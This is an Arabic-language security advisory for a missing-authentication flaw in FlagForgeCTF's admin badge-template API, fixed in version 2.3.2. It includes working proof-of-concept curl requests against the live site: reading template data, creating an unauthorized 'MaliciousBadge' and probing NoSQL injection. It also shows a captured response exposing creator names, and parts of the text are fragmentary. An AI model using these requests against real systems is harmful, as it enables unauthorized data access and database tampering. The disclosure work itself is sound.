
CVE على FlagForgeCTF في الإصدارات من v2.0.0 إلى v2.3.1. تمت الترقية إلى الإصدار 2.3.2 لإصلاح المشكلة.
يكشف تطبيق Flagforge (https://flagforge.xyz) عن ثغرات أمنية حرجة في نقاط نهاية واجهة برمجة التطبيقات الإدارية الخاصة به، وتحديداً /api/admin/badge-templates (GET) و /api/admin/badge-templates/create (POST). تفتقر كلتا نقطتي النهاية إلى ضوابط المصادقة والتفويض، مما يسمح للمستخدمين غير المصادق عليهم باسترجاع بيانات قوالب الشارات الحساسة وإنشاء قوالب عشوائية في قاعدة بيانات MongoDB. قد يؤدي هذا إلى كشف غير مصرح به للبيانات، أو تلويث قاعدة البيانات، أو إساءة استخدام نظام الشارات (على سبيل المثال، إنشاء قوالب ضارة أو غير مرغوب فيها).
/api/admin/badge-templates:
badgeTemplates في MongoDB._id و name و description و icon و color و isActive و createdBy و createdAt و updatedAt و __v. x0w1z ~ curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
/api/admin/badge-templates/create:
name و description و icon و color و isActive و createdBy.name و description و icon، ويضمن عدم وجود name مكرر.const templateDoc = {
name: name.trim(),
description: description.trim(),
icon: icon.trim(),
color: color || '#8B5CF6',
isActive: isActive !== undefined ? isActive : true,
createdAt: new Date(),
createdBy: createdBy || 'unknown'
};
const result = await db.collection('badgeTemplates').insertOne(templateDoc);
Lagzen Thakuri و [email protected]) والبيانات الوصفية، مما يتيح الاستطلاع أو التصيد.?name[$ne]=test).name و createdBy اللذين يتحكم فيهما المستخدم، مما قد يُساء استخدامه لإغراق السجلات أو حقنها.AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
https://flagforge.xyz)/api/admin/badge-templates (GET) و /api/admin/badge-templates/create (POST).badgeTemplates.server: Vercel).NextRequest/NextResponse).@/utlis/db)، Next.js.createdBy) والبيانات الوصفية (createdAt، updatedAt)، والتي يمكن استخدامها للهندسة الاجتماعية أو الهجمات المستهدفة.استرجاع البيانات الحساسة (GET):
curl https://flagforge.xyz/api/admin/badge-templates
createdBy (مثل [email protected]).إنشاء قالب غير مصرح به (POST) وإزالة القوالب (DELETE):
curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
-H "Content-Type: application/json" \
-d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
badgeTemplates.احتمالية حقن NoSQL (GET، إذا كانت معاملات الاستعلام مدعومة):
curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
// مثال على برمجية وسيطة لنقطة نهاية POST
export async function POST(request: NextRequest) {
const authHeader = request.headers.get('authorization');
if (!authHeader || !verifyToken(authHeader)) { // نفذ verifyToken
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
}
// ... الكود الموجود ...
}
createdBy).